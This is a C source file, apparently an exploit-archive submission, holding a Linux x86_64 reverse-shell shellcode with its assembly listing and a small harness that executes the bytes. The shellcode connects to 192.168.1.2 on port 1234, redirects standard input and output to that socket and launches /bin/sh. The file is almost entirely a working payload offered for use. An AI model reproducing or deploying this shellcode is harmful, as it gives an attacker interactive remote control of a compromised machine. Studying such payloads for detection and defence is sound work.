83 lines
No EOL
1.7 KiB
C
83 lines
No EOL
1.7 KiB
C
/*
|
|
# Exploit Title: Shellcode [Linux x86_64 Reverse Shell]
|
|
# Date: 19/03/2016
|
|
# Shellcode Author: Sudhanshu Chauhan
|
|
# LinkedIn: https://in.linkedin.com/in/sudhanshuchauhan
|
|
# Tested on: [Ubuntu 14.04.1 x86_64]
|
|
|
|
global _start
|
|
|
|
|
|
_start:
|
|
|
|
;Socket
|
|
xor rax, rax
|
|
xor rdi, rdi
|
|
xor rsi, rsi
|
|
xor rdx, rdx
|
|
add rax, 41
|
|
add rdi, 2
|
|
add rsi, 1
|
|
syscall
|
|
|
|
; copy socket descriptor
|
|
mov rdi, rax
|
|
|
|
; Socket details IP- 192.168.1.2 Port- 1234
|
|
xor rax, rax
|
|
push rax
|
|
mov dword [rsp-4], 0x0201a8c0
|
|
mov word [rsp-6], 0xd204
|
|
sub rsp, 6
|
|
push word 0x2
|
|
|
|
|
|
;connect
|
|
xor rax, rax
|
|
xor rdx, rdx
|
|
add rax, 42
|
|
mov rsi, rsp
|
|
add rdx, 16
|
|
syscall
|
|
|
|
|
|
;duplicate sockets
|
|
xor rax, rax
|
|
add rax, 33
|
|
xor rsi, rsi
|
|
syscall
|
|
|
|
mov al, 33
|
|
add rsi, 1
|
|
syscall
|
|
|
|
mov al, 33
|
|
add rsi, 1
|
|
syscall
|
|
|
|
; execve
|
|
xor rax, rax
|
|
push rax
|
|
mov rbx, 0x68732f2f6e69622f
|
|
push rbx
|
|
mov rdi, rsp
|
|
push rax
|
|
mov rdx, rsp
|
|
push rdi
|
|
mov rsi, rsp
|
|
add rax, 59
|
|
syscall
|
|
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include<string.h>
|
|
unsigned char code[] = \
|
|
"\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x29\x48\x83\xc7\x02\x48\x83\xc6\x01\x0f\x05\x48\x89\xc7\x48\x31\xc0\x50\xc7\x44\x24\xfc\xc0\xa8\x01\x02\x66\xc7\x44\x24\xfa\x04\xd2\x48\x83\xec\x06\x66\x6a\x02\x48\x31\xc0\x48\x31\xd2\x48\x83\xc0\x2a\x48\x89\xe6\x48\x83\xc2\x10\x0f\x05\x48\x31\xc0\x48\x83\xc0\x21\x48\x31\xf6\x0f\x05\xb0\x21\x48\x83\xc6\x01\x0f\x05\xb0\x21\x48\x83\xc6\x01\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";
|
|
|
|
main()
|
|
{
|
|
printf("Shellcode Length: %d\n", (int)sizeof(code)-1);
|
|
int (*ret)() = (int(*)())code;
|
|
ret();
|
|
} |